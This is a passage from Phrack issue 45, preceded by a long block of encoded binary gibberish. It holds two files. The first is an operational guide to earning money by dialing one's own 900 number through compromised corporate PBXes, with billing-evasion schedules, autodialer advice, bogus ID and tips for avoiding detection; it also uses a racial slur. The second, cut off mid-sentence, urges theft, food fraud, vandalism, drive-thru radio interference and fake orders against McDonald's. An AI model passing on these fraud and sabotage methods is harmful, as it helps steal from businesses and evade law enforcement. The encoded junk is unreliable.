MII[3>[;%6TS8IHZ/NR1^66J&GVX<FU2&X\MFLH:I(Q;9Y:N)^;8PU"&@C0E, M+:TWNUWW@&@H+Y3;Z>>GBW2$*W/0K^21T.N$G=832U=+/‑**FLM4HJK9<&_: MJX(_MQO_`.$:W(^(SP\EIKH:VW0U,#PYCVM>PGP.>$W=ZB2RW%M7'(YU‑.YX MDC5=CUZ>&#:Y5;?B+>]&H1EGHN&A[5D3A<K=419Q/B0$C1X/Z\+7L\W^2X\" M4L3GD2P';F=`#IAMNV;!3#B2R7FF9W=5)&Z.>1@3<6$%A7Q&8^C"G["?&8H^ M8MQL<[PV#B:F,T34\K:R$'>!ZN:IQT_9G&AN=1%)M;'*_=&1T)Z'')7;M$5Q M[2EIH8B‑PM]''*0‑‑SW'\1P(EO`F>(82\,EJ0>]:"58QN0!Z9X1_%U>VY\0< M!6\2=Y(VJDJ91U:K\L_\G7#D6"X.I[C6P1,#I'U,OG`7:W>2GUX4'%%4RGX= M9+(WS‑<"<^N*6B[,=PM4RAQV[7G/UTP45EU?)R]N9W?G&4\A9M/4:989O@NX MF[<P.$8YBY[+;&Z0@?[QSG//UD8=_AV].AIZV%Q;^>J)=3T/3#"\X8XQQ;‑5

M1#RS#SGQ<W(G"47PPX7#S_@N0%?(QS1]X7W9(",W"&#RI[#(<)MU9);G5$;W M$`1!T!\"?#TP0.=N4NS+BI/KBOFW9G&<W‑Q0JB?@<6"#77&4R.,*C1ZXL#D< MM<:5#L],9&9T4XUI*E<;J=,:/33%HSX!<9<5<GXL6&87H,88[QTQ=I"Y]5Q0 MM!.B>F,A0$ZXP2NX=,9C!#QBSPCT.1],;$4E:HSW#'__T>6>7'$;K)<2R<=[ M13A)H2=?4>!'3#@<=,I^*[!30‑D8^6#.AJUS<.L<GKX'"$LMXN_#]15VB3<R M.9I9+#(H!!PZW*_BRWUM@IK%7I"VH6%KOZ+E\N?@,*'F!P]'5<*MN=MF9%<( MSO;M'EE>S+<G0N&1\>N";D!QR9*62P7/=#44SRQC79(%R!]FF'`KWLJ:RZ4+ MO.T".9%Z(A'T8++C=8_NFS[7?9=M&X9^4IGA%]J&??8J26,IN<&$=#U!P!Y$ MW,4M.0R;R2",L8>A_*P5=I&H‑UJ:WNW;FT`C<,DZH?QX;OEWQ#4<‑\36F\0. M/>6NOAJF#Q#2CQ[QCT1M‑?3W‑E/6P>>"IB9+$X=6N`(_'CB7F[Q`+UVH.)+T MYQD@HZM[8B%^Q`W8U/>,1R<0[(XH7N,1:U\A7R[G/T1$\=<$O#<[9>9‑&YA\ ME)3(TN.A(S^MV6'0X3N8CDJ9&(72;Y$=F7*_!C?N(H7TM%""2V9ZN+NGHF"N MTW^&'AVH@5$<X.:#@D;Q`V'A^\0]YF&JT'P]?'"`Y4U0@XPCJWNV*X[2FA.' M'AOE,V"M[US`WOY';AT(Z^S#3\87,7.HED`\@D):?;E]>"1VN7N&%;QW'/9F M4G"AF$D5!&V5X:$_/3,:YY/J,F^["6K*R2>*"‑Y4QA`>J8#CVXL`4\5QH)## MC!")[,9:$&?3&=3[L8^T!B[AEC"@‑5<9.BXT:XSUQ54TQD@@`G5<60#TQ‑11 M‑GJ(X"\0A^6]ZH/:F(W`QO+3J,:OF4XRNAUQD$%GKTQ0$A>O48LP$J3TTQ9X M.\JO3&(EW‑)&6X8__]+C9S7,+'C+PPK.7UTJVU3J9AW‑<TG8[1V!_$GW=?GQ M"1YI:R$%HWZZZ+U'MP3P_'6*Z4PD+C''*"'`Y9ZX</@/BZ>LX?N5JK92]M.X

M&!QUVDG+W81_$‑PEM7%‑'>8?+N=M>]NKR/'#K67B1M9''7LD\[X@'‑'H,L`N M,KNV&:VM!#6E[I‑OH7=<)3G[=Q76^VAKVK(KBAR('I@IY=70T<‑(YKCY9!DM1XXCXTN'QQX@(<K9(\QZ#,8;[>A;ZA#CMSD1?I6=E6"^MF:*FWVBIVN?H'0! MX:O^:,<:62ME^,K:N1Y=+.#N<>I<5)7!I67)J2A226‑:"1D`,1<,UO<<2U56 M\HC4S_#TP>TM_EIIA(R3/8!G_=8M>^(7R/HTDS:,P.F"YUZF:V4%RAZY=,`* MNZ.^$JF`_P!=;@JMM2:9S7,)#@Y5&#*INDQIYH0XK*[,'5#@!55+^Y‑.`QK" MFX)F<14+‑M2V=S"^*G<Q\GL73WXFX@NL]TO59=*G.6K>YQ]%T'NP7(A!(R.A MQ7VKC.Y,:PYN!Q@DD9],6;HA'\,:#^),:OD'3%@NT8R@.,M`W$8U&D'&2%`" M?QQ@YGW8W‑<657)C+D7+/+&%)]4QH*%?HQE0&KH?`8UA.UV‑<>AZ#&AVUOMQ M=0`N,,=YUU0X_]/CF1KVHQX+7`9@],">':MU+=J:8%$<`??A4\;LBJ6TU=&` M)"O>C371,$L5QJ88C#(1/"<BR3I@3:IF‑;4_".,7>@;@3EKTP"O514OBDIYW M;VJH!]‑",&%EX@J(+3%'&_:]HVCW8GN5ZFJMLDLA<X#+TP6\8W!];3VV,N), M<9"GVX@X>J_AXGM+OM'+VXBJ:PNCK\SYVI@GE*,C*:`X=>AX[J+7V4/W9II2 MV6X76>!P&H@1KWCWJGOPUE([:UB'(E2!B03/3S+F[&*:1[9YB#F[+$IJ7=T] MOB$3$<D[G‑85T'OQ@RG+,D>&*.>2$7KB‑Q0@C$ADT(Q&Y^YY51BYG2#NFY!Q M5WKX8A55S]V‑Z@!,;D<S^!QKAT&,L"C]>‑3:4\<:Q,\\],9R&:8UOCC0@UUZ MXRW4'IC)<=RG%H@H!3/&7'\X!IC#E)5<9*@8UP*A/JQK043IC222@_%C#@GI MB^L:'Z<"[‑;YJVH='#%+*&‑W2=TTN+&^)],!9V/9,]A'F:41,4?DF6+$G8$& M>,‑^T.G7'__4:FY<)\MN,J22\45Y%JG#=TJH0XD:;2GU89SB.DI+?>):>AJV MU<,;D9,&[=WJF!55<'2VX1[R<ADN"YU0=I;T(SQFFJ"QQ0XO45(E;GJ‑,!(Y MB‑R9:XNZK?W0:OIB.IEWOC:N3!IC$4FT.(.1Q224H3ZKB![@0,")*V1]GIJ# M^]1322CVO#0?^8<0!R#(8T/SUZKBS"‑WH3IC7KN('3&6]!].,.3=Z8UZ$>_% M.F?3&5"Z]‑,8'F/7&2A!0:8PF6?LQ@‑*!>AQD‑&[15QK@CR#I^+&6_BQ@IH< M:UJ8L_IIGC+<F^/B<8(4G&A/M8L&C;ZKEC6NS3Z,:"5STQ;,G)`O7%0"`N,A MR+GBV0(`/7KC40G0G&N'MSQ;:0P>N.DNQEPHR/ANNXBJV;)*Z81T[SKW3‑?< M7?BPWO:RX5;P[S3GJ8`!2W9@JH]@0‑=H\9>H7WX:\MSU7&4!8T)IKC":98__ MU>7N,^#>(N#+?3OOH93NJ\HH&R`N(`S*#IA*.>3M)T]<7=*[:$/33%)'$E0= M<8<\KEUQ9KT:`3B‑SD7&&DG48T'‑<:=!C"E"#]&(W`9^F,`+IB[6D#W8QET] M^+M"$>`.+EI13C"'7(>F,:I^/&?7IC#PF7T8J1GI].‑"H2GKC>N>0.,H=I3& M!D`$Q4NSZZXL=1C6E.N,`+J,UQK3YD_`8L4W`!1^O&?8<L8&J9C$D@#6Y%1Z M8J$))7IC#<B5Q@9N(7+$FYH\<#;(;2*MYN[:E\&T[12N:UX=T/F!"#PP%JVT M_P`5)\(9#`OD,H&Y/5,L88`H*XPY5'@N,M.XG3+QQEH.W7'7/(N_0R\M;$9( M640;`&1Q‑)(VM)`(7JY%/KA/]L>B@K^75MNL;`Z:BKFM<_J&2M_60,<T%,6" M$`#+$?A^O'__UN0.);Y=+[<#6W:JEJIR$W2%4'@/`8`$J$Z8PX^7+IBH<JIJ MF,`DCV8UKB24]^,A,9Z$`],5:JMZ^.‑)(5?=C0NUY/ABA)&1QK?M*‑,:I4C/ M/&YKD%Z)B6,*6J$],.7R+Y,\3\QZQM1&TVZS1N2:X3M*'Q$8_*/U#J<.GSQK

M.7G)[A6GX/X0MM+77R>,.J:NKB9*]H\7EP.9Z‑"`88BGXBM=7.X7FQ4DP>5, MM(3`\>S;Y?JP+J/[6E33L[D7NAET<%BE8/7,‑.`?$%FX2AHOB+/Q"^JE0?V/ M44CHW'_*!(Q#P[P5?+QP]77VF%‑';Z0ELDU14QQ@O`7:T.()/L&$Z[++PZ8W M‑0<6/7%22H&,.T],:N6>6‑"*4Z=<9!R&,%%)T/3&C)/'3%F$:Z'&7.5V6,G\ M?3&#EC00I!14QI`!Q=N@&,N`7W8P6^;/(>.+L:`Q0537$;CYRGCBRC7KBS#D M<\*#A7C/B2P!C;;7O;"PK\/(CXS_`))4?1@_XYYH5?$W",EFJ:%D#GNC>]\, MCBPN:==KE3Z<('73PQD+M7&MS(:$S(3WX__7XQ+24/TXRB‑]F*N4(<834XPB M%<8:JD#)<9VIG^+&%R.‑"KX^F,D$*NF,`(UWKBI`5<:QN8(Q<‑)<@\<"K705 M=QN$‑'0T\M54RG;'%"PN>\^@&.DN079HF_L;B#F''L`(=#:`<SU!F(_Y@'O/ M3'3‑'1106UE‑!&RGIH6`,CC`:UC0,D`QS/V@N.N4M9Q346:YV=]SFIGF.>LI MP&/C<,B`\$%R?1A!VNS\@*J<3SWF_4K.M.8FE/8Y#@Q=1=FZF#TGOM46`H'/ M0/\`H;@+>G<@6<)U=5;[;=9*T';%&:LAP)ZE00@]F&@J)(Q‑)\+O$3G*&2%< MO7QP'<U7*T)XC&7!6KKC&TH`!GUQ@CS:98P6YIZ]<9`1%U\<9V^7QQ5P/TXS

M&$U"CIC(;F2N‑`S7PQ/2Q1?$1]]N$9/GV?:3T7)<")8K:US@'U)1F3MK,W>Q M=,1US**2HB;;14.!8‑PFV[B_JFWIB!K‑24.‑[O&0S,'3%FLW(%Q;NLS[‑<8V M@(NN,]V‑0/;Z8J6!2N1.,L8!F,9:T8JY@7%B`<UQI)VIT7&8A^>BR4;AE[\? M_]#CAC02`7!H(U/LQNT$(,5>S14QC8",L5+"FN?AC#8T;HF>+=V4\!Z8PZ‑" MO3&!'H@Q>6)'.:"J?E#KBO=J,5[L^&#NKX<FH>'[=<*M637,K14P'GDC!3>? M0G)OCA]^5?95K+I2TU=Q9=#1=XQKW45(P&1BYHY[L@4\`<="<N>6O!_`‑*8N M'K?'!+L22JD\\\GM><_<$&#FMN"1%C2&L5'N<>F"'F`^[5_!MSI.&)@ROF@< MV"8Z‑<FH..).*.6W'UNKI#<+‑52.>\DRQC>'GJ5"_7A;<K^SQQ!?+;]\<35\ M'#5",VB<!TS@.NU0&CVE?3"MAY5\B+;+)!<>)JZY3Q,<^3NI&‑;EJB‑_7AB^ M9/[HNO\`*W@V"NAH&D@?'2‑<YY'4(`@/KA.[%`7%S&05.6*OCS4=<5>PYZCP MQ5S"'EI(RQ@M77%MOE]1C+(\E\<9,3E3(>"XD9"0C2‑<9$;03N(SQ4!HZ;O; MBP?H&A/4XH\%[E.‑#"`=I0XUC‑H"XRFYR#^6+M8"$U.,AAU&+M;D6IGTQCN_ M*AUQH9TQEL6>?08T1H0‑1C0P;O#%96(5],9:S(?KQC8?#0]<7B82^,`*2X`` M>W'_T6,FU_R<`ZG^NC^YP67;^M8+G?UKW#`*?^M'WX`RZ#WXPW^M^[&LT/L. M*‑^T[V8R_0XJ[0>S$U)^7AT^+/\`R8_+G_G$MG_,0QV[;?L2^W`:_P#^!S_W M+\)"H_Y#5?L&+TO_`"!/_&F_BQSKQ7_R3N?_`!YWX\!>(_\`H2![3^/#957V MY,%%;_7&^T8@G^WC6?8.,.Z?W)Q)1_:/MQ,[5OL.+5&@]F‑I?LG`B?1OL&*U M']:;[#@#U;BT'VCBSOM8Q/\`:?[\1]?=C`T^G`V'^M,]^)&ZGV8V;^M'VG`' MJ?[H8M_?/><9Z^[$[/ZZSV8Q‑_7!BU/I)BQZ8I)U]V,0_9=C%‑]L^W%:?_#8 'O^.‑_'C_V7C_

`

Fraudulent Applications of 900 Services

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 18 of 28

****************************************

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

****************************************

****************************************

*

* FRAUDULENT APPLICATION OF '900' SERVICES *

*

* by CO/der DEC/oder, of Dark Side Research *

*

* Greetings to Minor Threat, The Conflict and Tristan * * and dedicated to the English Prankster, Phiber Optik, * * Louis Cypher and other hackers who have proved an honor * * to themselves and to our community in not cooperating *

* with "law enforcement." *

*

****************************************

The information presented forthwith is the result of knowledge gained through actual first‑hand experience. There is no theoretical aspect to any part of this article, except where explicitly noted. Disclaimer: this file is for outright illegal use. I sincerely hope publication of this file contributes to the delinquency of both minors and adults alike. ‑‑ "Codec"

Getting Started

In setting up your own 900 number, you earn a big percentage of the net revenue generated by calls made to that number. You can advertise and promote your number in various and sundry ways in an extremely competitive environment, or‑‑if you so happen to be a hacker‑‑you can simply dial up some PBXes and call the number yourself. Since you'll be earning several dollars per minute, you won't be in any hurry to hang up. In fact, you may find yourself letting the phone stay off the hook while you chat on IRC or read the latest Phrack. Though not a scheme to get rich, this can provide a considerable income or simply an occasional bonus, depending on your h/p resourcefulness and effort exerted.

Before you can start calling your own 900 number and making yourself money, you need to buy into the 900 business. On your next outing for the latest copy of Hustler, grab a USA Today. In the classifieds, (as well as many other business classifieds), under the heading "business opportunities," you'll notice any number of 900 ads. You want to find a "service bureau" and not a simple "reseller," so shop around and call a number of the companies, asking about percentages and whether or not your setup costs (usually ranging from $300 to $1500) are comprehensive for the year or whether you'll have to pay a monthly fee. Avoid these pesky monthly maintenance fees. All sorts of 900 packages exist, but you want an automated service‑‑such as a dateline‑‑that is ready to all as soon as you've paid. This means you'll have no equipment to set up, or 900 trunks terminating at your house, or hookers to hire, etc. The service bureau provides you with the number and the service, so all you have to do is market the number (should you be legit). You can bargain a little on the setup fee. An example of a worthwhile deal would be as follows: an automated dateline number (similar to a voice ail system, only you listen to personal ads and have the option of leaving a response) for $750/year, a per minute rate of $3.99, and a 75% net return (i.e., you make about $3.00/min). AT&T and MCI provide 900 services to the service bureaus. AT&T is preferable, as you receive payment two months after the end of the calling month, as opposed to three months with MCI‑‑so ask about this too. Your continued efforts will reap a monthly check thereafter.

The service bureau actually sends you the check. You'll want it in a personal name to make it easier to cash with your bogus ID. Some bureaus will "factor" your account, meaning that if you've accumulated a lot of credits, they will pay you in advance of their getting paid by the carrier‑‑for a percentage fee. Don't try to scam them on this; your account is scrutinized closely before a premature check is approved. If everything is done properly, both you and the service bureau will be happy. [That's what's so great about this project: everyone wins‑‑you, the service bureau, even AT&T‑‑only the PBX owner loses!]

You will be able to check your credits, or "minutes" as called in the 900 industry, by calling a special number provided by the service bureau. After entering your account codes, an automated response will give you statistics such as daily call reports and total minutes accumulated for the billing month. Be sure to find out about the virtual end‑of‑month date. The end of each billing period is not necessarily the last day of the month. Accordingly, you will need to plan your attacks with this in mind, as we will discuss next.

Getting A Date

Now that you've set up your dateline, you'll be anxious to start earning the three bucks a minute. The dateline makes it kind of fun, since you get to hear all kinds of ridiculous messages and the typical horny soliloquy. Get a speakerphone if you lack one now.

You don't necessarily need PBXes‑‑any outdials you find that complete a 900 call will suffice. However, the lines targeted must be those of a business, one that is large enough to own a PBX. Calling on residential lines, cell phones, or from small businesses will not work‑‑the owners will get their bill, and simply call the phone company and complain that they didn't make the call. This will attract undesired attention to your line by the LEC and your service bureau, and it will also cost you in that the carrier connect fees, about .25 and .30 per minute, will be deducted from your account. The LD carriers get theirs, whether the party pays or not. This is why the calling method encouraged here is the PBX. If you can manipulate central office switches, do so by these same principles.

PBX owners tend to pay their phone bills‑‑including 900 calls that aren't outrageous. They'll assume that one of their own employees made the call, if they even notice. Instead of attempting to exploit a PBX to some astronomical degree, you're better off running up a mere fifty to sixty dollar charge. Do this every month as part of a schedule. Not only may it go unnoticed, but you are assured that it will go uncontested even if detected. Running up an excessive number of minutes risks unneeded attention and assures either a total "killing" of the PBX, or at minimum, 900 restrictions added by the PBX administrator. Even with a remote admin access, your luck will run out. Remember: YOU WILL ONLY GET PAID IF THE PBX OWNER PAYS THE PHONE BILL!

With this in mind, the most limiting factor is the number of PBXes you can accumulate. The widespread raping of AT&T's System 75/85/Definity in 1992 (as a result of discoveries in 1991) made that year extremely ripe for this 900 scheme. Many of us managed to accumulate large collections of System 75s, including the elusive Super Nigger, who allegedly compiled over 300. (Where the hell were you hiding?) AT&T security memorandums have since killed hundreds of these, but the defaults still work well in some cities. Regardless, PBXes abound, and the more you find, the more minutes you can generate.

Let's look at a sample attack schedule:

PBX # M T W Th F S Su 01 15m

02 10m

03 8m

04 14m

05 16m

06 24m

07 12m

08 13m

09 16m

10 2m,10m

11 13m

12 4m,4m

Twelve PBXes are to be attacked in the sample week, so there are probably fifty PBXes totally to be attacked for the month. Each PBX is to be used only once per billing period. You will get many months of use out of each PBX with this conservative approach, so long as every hacker west of Poland doesn't have access as well. Notice how the number of connection minutes varies, and the calling pattern is quite random looking. The schedule is maintained not only to keep track of PBXes in your harem you've fucked for the month, but to assist you in generating minutes in a pseudo‑random pattern. It is acceptable to have your minutes generated in a pattern, albeit a loose one. For instance, if all minutes are generated only on the weekend, a discerning eye will not attribute this to the type of marketing you are using. The sample schedule is only the ideal model. Having to rigid a pattern, however, such as having an exact number of calls each day, is potentially suspicious to your service bureau. Simultaneous calls to your 900 number through different outgoing trunks on the same PBX is also strongly discouraged.

Listening Software

Calling your 900 dateline number is fun, but when you've got over a hundred PBXes to hit each month for an average of fifteen minutes a pop, the novelty tends to wear off. Of course you can have a speakerphone and a time and go about other tasks between calls, but why not write a program that will enable your modem to do all this for you? All the program must do is have the modem call a PBX from a list, pause, and call your 900 (or another PBX and then your 900, for LD PBX attacks). Once connected to your 900, it must stay "listening" until a random timer (10‑20 minutes) hangs it up. Depending upon your dateline service, the modem may have to emit a DTMF every once in a while to keep the service convinced you're still there. This is a very worthwhile program to write‑‑it can drastically reduce your total time spent with this operation, leaving you with only the PBX list to maintain (additions and deletions), and the spending of your hard‑earned cash (the novelty of this WON'T wear off).

Large Charge‑Rate Option

A 900 number can be set up to charge as much as $50 per call. Whether the call lasts less then a minute, or for over ten, the cost for the caller is the same $50. In order to set up such an account, you must qualify as an "Information Provider," or IP. Regulations on 900 numbers state that you must be a provider of information, not tangible goods. With a dateline, the information is included in your deal with the service bureau, so you are considered an IP. The bureau can provide you with your own number that terminates in a voice processing or audio‑text system, but now you must provide the actual information. Your idea must be approved by the LD carrier, and they tend to scrutinize your plans the higher your desired rate. Your bureau may even subject your service to a test to make sure it's not a fake.

One idea is to ask for a $25 per‑call rate. Make like a writer of shareware programs, and have your 900's announcement ask the caller to leave name and address to be legally registered to use the software, and to receive updated versions. A confirmation notice will be sent to acknowledge the registration. Many bureaus will accept this as qualification for IP status, if properly presented. A sample arrangement like this should not cost more than a grand to set up. Stats on minutes are checked just as with the dateline, only you'll receive any messages left by callers, and you'll receive any messages left by callers, and you'll be able to change the announcements‑‑just like voice mail. [IT's always a thrill to call a 900 number and hear yourself thanking the caller, heh heh.] On a $25 line, you should net about $19 per call.

All the same rules apply using this large charge‑rate setup. You can't abuse a PBX any more with this option then with a dateline. It does give you the added flexibility for methods used other than PBXes, such as outdials that will only connect briefly. For instance, message notification on voicemail will not connect to a number for prolonged durations, but long enough to activate a $25 charge. And a typical modem outdial on a mainframe will soon hang up with the absence of an answering carrier, but the linger is long enough for a $25 call. And with CO switching, the arrangements you make are ideally temporary‑‑turned quickly on and off‑‑making a fast $25 hit optimal. Lastly, if you are skilled in accessing corporate phone closets (see "Physical Access and Theft," Phrack 43) or the corresponding outside plant, you can use your test set to call your 900. Obviously a large charge‑rate would be better here too, rather than standing for endless periods of time in compromising positions connected to a squawking dateline.

No matter how you access business lines, be sure they belong to a large company. Definitely experiment, but do so in moderation‑‑make any necessary notes (like time and date of call) and wait for your 900 billing statement to see if the call was paid for. [Your billing statement, essentially a call accounting summary, is created for each billing month by the LD carrier and sent to you via the service bureau with your check. It includes the calling phone numbers, time, date, duration, etc. of all calls made to your number.]

A Final Word

It would be hard to get "busted" doing anything mentioned in this article. Even if you're nabbed for misdemeanor PBX abuse, no one will ever imagine‑‑let alone try to prove‑‑that the 900 number you were calling is your own. [Hey, you're just a desperately lonely guy!] However, be wary of pen registers (DNRs) if you've been up to other dark deeds, and set up your calling operations at a safer place. Don't check your minutes using any of the same means that you use to generate them (a record of your calling into your 900 backdoor is probably the most incriminating track you can make). Keep your 900 account anonymous, as with your address, voice mail, and ID/SSN.

Welcome to the dark side‑‑and best of luck.

Sincerely,

CO/der DEC/oder DSR

[ The Author can be reached, when the system is up, at:

Screwing Over Your Local McDonald's

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 19 of 28

****************************************

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

****************************************

Screwing over your local McDonald's

‑ Charlie X

INTRODUCTION

Ok... everyone is familiar with the world's largest and fastest growing fast food chain, McDonald's. The founder, Ray "Crock", wanted an environment where families and friends could get food with friendly service at any time of the day... Boy, what a crock, at least now.

To top everything off, McDonald's attacks decent food establishments by criticizing the food content... not like you'll find anything not genetically engineered in McDonald's food... Everyone must realize that McDonald's sucks, and you must do your part to put the fucking place out of commission...

As far as I can tell, everyone in McDonald's is rude and has an attitude, from the management to the customer. They, as most restaurants do, firmly believe THE CUSTOMER IS ALWAYS RIGHT. This is true even when the customer is an asshole with blind disregard for everyone and everything. This is where you come in... Here are a few things that you can do to put your local McDonald's in it's place...

Recently in the news, a major group sited McDonald's as the most environmentally responsible establishment on the planet (note: this is even over green peace and Sally Struthers)... how the hell is this possible?

SENIOR CITIZENS BENEFIT DAY/WEEK

McDonald's is nice to senior citizens. Every McDonald's offers free or reduced price meals or drinks to Senior citizens... Now, all you have to do is attract them. For a minimal price, you can publish an ad in the local newspaper, or publish your own flier (can be cheaply made) which explains that a certain day/week, your local McDonald's will recognize senior citizens with free food, coffee, senior activities, you know... a big senior social. You may want to mention that other organizations will be there to speak and make the whole "event" decent... Now, if your McDonald's already offers free/reduced coffee, food, or sodas, this will definitely break them, and cause them to order much more supply, and could even cause them to run out of coffee or soda for the rest of the day... on the other hand, if they don't offer this, the mass crowd of old people asking for shit will certainly piss someone off... This has been tested, and as a result, a McDonald's had to close for a day to reorganize and reorder supplies, as well as "launch an investigation" about this Day, but they never turned up anything.

GARBAGE CAN TRICKS

Since McDonald's is usually a busy restaurant, the trash bags fill up quickly and must be changed frequently (but never are.) There are several things you can do to the trash cans. For starters, ask for hot or boiling water. If you don't want to attract attention by doing this, bring in your own really hot water... boil it, put it in a Styrofoam cup or a thermos... once in McDonald's, locate the filled trash can (should not be hard to find) and dump the hot water down the side. Not only will this melt the side of the bag, causing the trash to go everywhere, the person who takes out the garbage must pick up all the trash by hand and dump out the trash can with water in the bottom. This also soaks the trash, breaks up paper, and makes the whole experience quite unpleasant, but hilarious to watch.

Another easy trick is to walk up to the trash can areas, take the trays sitting above the trash cans, and simply throw them in all the cans. This will either make the employee fish them out by hand, or will cause the restaurant to be short of several trays, which becomes quite annoying.

FOOD TRICKS

There are several things to do with the food. Since there is probably something wrong with it in the first place, you might want to simply make the problem bigger... Before you enter the restaurant, cut some of your hair, or hair off of a pet. When at your table, place the hair all over the inside of the burger. When the line at the counter is long, and everyone is busy, cut up to the front of the counter, and start complaining about your burger. Show EVERYONE the hair inside the burger. You will get another burger, and most likely, a lot of free shit so you will come back. You will also cause most everyone to leave, and people in the kitchen to get shit on by the manager.

ON A BUSY DAY...

Busy days are the best. Customers are in a hurry, so are the employees... everyone has a short fuse and usually do not pay attention to what you say, or get very pissed. Ask for real dumb shit... For example, "I'd like a 69 piece Chicken McNugget." The best thing to do is to order a simple cheeseburger, and screw it all up with special orders... For example, "I'd like a cheeseburger, with extra cheese, no mustard, extra catsup, extra onions, lettuce, tomato, a real little dab of mayo, and make it well done... oh wait, I don't want cheese anymore. Just put extra lettuce on it... [wait for them to send the order back to the kitchen]... then Oh, wait, sorry... I just want a BigMac." You can also say, "I'd like a medium Coke with just 4 pieces of ice in it." They will always do what you say... Keep in mind that special orders do not cost extra, so you can order a hamburger, ask for extra mustard, catsup, and somewhere in there, casually mention extra cheese... 9 times out of 10 this works... and you don't get charged. NOTE: if you hear a printer printing followed by 3 beeps somewhere in the kitchen, your grill order was printed, and will be made... so change it after you hear that.

In some McDonald's, you will find the "Need A Penny ‑ Take a Penny," Where people put in their loose change in case someone else is short some money... steal ALL the money in this. In one month, I made $42.71 from stealing the money from all the Need A Penny cups in my area... This is a good secondary income for lazy people.

If you plan on a big order, start off by telling the person you just want a soda. After they give a total and get ready to take your money, add an item. Keep saying "That's it" and repeat this process until you have what you wanted, and have wasted several minutes. You can also have the cashier repeat your order as many times as you wish, also wasting time.

THE INQUIRING CUSTOMER

McDonald's managers pride themselves in knowing the answers, and employees like to pretend that they do. So, on a busy day, keep asking dumb questions... Here are a few to ask... Oh, never actually order anything... just hold up the line with your questions. Here are a few questions to ask:

‑ "How is your meat prepared at the factory?"

‑ "What part of the chicken does the McNugget come from?" ‑ "Who was the BigMac named after?"

‑ "What is the post‑cooked weight of your quarter pounder?" ‑ "Where does your <pick a vegetable> come from?"

‑ "How fresh is your <McD product>?"

‑ "What is the square root of 69.666?"

‑ "What is the nutritional value of a 9 piece McNugget box?"

DRIVE‑THRU FUN

McDonald's videos tell the employees that the Drive Thru makes up for more than 40% of the average McDonald's business. Simply put, this system needs a lot of work. The speakers rarely work, and you usually get your order screwed up. The first thing to do is to take your car and back over the cut square in the pavement right beside the order sign several times. This causes a loud annoying "bong" to be heard by everyone with a headset... eventually the manager will come out with a weapon, and this is where you leave.

Another thing to do is to drive up, and say, "I just want a lot of butter..." or "I'd like a large penis to go please." Usually, people in the drive thru service will laugh or screw something up, and you will get yelled at by the manager... waaah.

If you want free food, order something in the drive thru. Keep your window down to listen to other orders. After you receive your food, park and enter the restaurant. Go to the front of the line and tell the person on duty that your order was screwed up... it helps to remember what someone else's order was, and then you just ask for that... you will get it. Sometimes, you even get free food for having a screwed up order.

This prank requires guts, but can be somewhat amusing. Simply drive up in front of the sign, turn your engine off, and go inside the restaurant and eat. There's always room to park in the drive‑thru lane... You could also tell the drive‑thru person that your car stalled, and you will have to call the motor club. This can put a drive‑thru out of commission until you decide to move your car.

If you happen across a McDonald's that is expecting deliveries, or has cleaned the parking lot, you will notice traffic cones. You can move these cones around the drive‑thru sign. Some people are stupid and will drive thru them anyway, so you may want to place a sign saying "DRIVE THRU CLOSED ‑ SORRY ‑ MANAGEMENT." You can also place a legitimate order at the drive thru and right after your order, you can put a sign on the drive‑thru sign saying the same "closed" message. The drive thru sensor does not sense foot traffic, so you can walk up to the sign and put one there...

The drive thru headsets can be a good source of amusement. When ordering, mumble your order, scream it real loud, or say it like the microphone is cutting out, for example, "I'd like to order a LARGE ibbit‑obbt‑ibbit‑urger with no Sa... and extra <crackle> and I'd also like a Med<cut> Oke." When they ask you to repeat, do the exact same thing. Remember, that as soon as you drive up to the sign, they can hear everything in your car... even if they are not talking. As soon as they ask for your order, turn your stereo up real loud, and begin to say your order... this screws everything up... Also, ask for a hotdog, or an item that you know they don't have. If you have the guts, are really bored, and are not driving YOUR car, take them seriously when they say "please drive through." This would be the ultimate action, putting your local McDonald's out of business.

If you have a simple shortwave transceiver, Ham Radio, or powerful handheld transceiver, you can talk to the entire drive‑thru crew. The antenna is located above the cashier in the drive‑thru box and has a receiving radius of the entire store and about half of the parking lot. You can add stuff to peoples orders, or just screw around. Drive thru people have noticed that illegally powerful CB radios, side band radios and even some car phones can be picked up with the headsets. Be innovative and use these to piss the employees off. If you do not have access to one, simply hide behind the sign, and shout extra food or obscenities at the sign...

GREASE DISPOSAL FUN

This next trick involves little or no intelligence, or imagination, but seems to get people every time. Behind McDonald's, usually found next to trash cans or the empty soda‑syrup containers, you will find a large drum marked "not‑fit for human consumption" or "inedible contents." Although these warnings belong in the food, they mark the grease vat. This is tightly sealed for a reason... it smells like dead human. They are also easy to open. Usually, you can loosen the ring around the top and open the lid. Be sure to cover your face when you do this... it does smell like shit... The nice thing about this is that the smell will cover the entire parking‑lot area in roughly 10 minutes. Chemically, the smell will cause nausea, and definitely a loss in appetite. People will get sick everywhere, and definitely cause a loss of customers at McDonald's...

A simple addition to the previous trick would be to tip the can. The grease will probably have hardened, but on a warm day or if the black can is left in the sun, it will leave a sticky, raunchy mess in the parking lot that will be impossible to clean up, and will stink infinitely. This is a way to make the trick more damaging and longer lasting.

DUMPSTER FUN

McDonald's, or any fast food restaurant usually has a high volume of garbage output (not including the food). If you can travel around and find large objects, you can dispose of them in the trash containers. If you clog them up, not only will the store have to pay for an extra collection of trash (to remove what you put in there), They'll have to pay extra for later (or earlier) you do it, as well as what kind of objects you put in there. You can also put the empty silver soda containers, bread racks, or even signs and loose McDonald's shit in the trash. They won't appreciate the loss, and it's gonna cost them money at both ends. Lame but definitely effective.

PHONE ORDER PHUN

One thing that is not very well known is that McDonald's accepts phone orders. This is a simple process. A serious, adult sounding voice can call a local McDonald's and claim that they have a large order that they would like ready for pickup. You supply a BS phone number, a BS name, and a BS order. The larger it is the better. Usually give about a half an hour to an hour notice to have the order ready. Good reasons for the orders are usually family gettogethers, meetings at local universities, etc. The university excuses are much better, because you can supply a college phone number (found in the phone book) and if they call (the usually don't) to verify the order, they will get the office, and will think it's legitimate. This prank is a beauty because after the manager takes the order, it is given directly to the kitchen, who begins the order. Again, they very rarely verify the orders, so it is easy to pull these off. To make this prank better, you should throw in mass quantities of food items that people NEVER eat ‑‑ Filet O' "Fish", Fajitas, etc... You can also call them back at the time of pickup, and say "sorry, we decided to eat at burger king..." DO NOT enter the restaurant and ask to 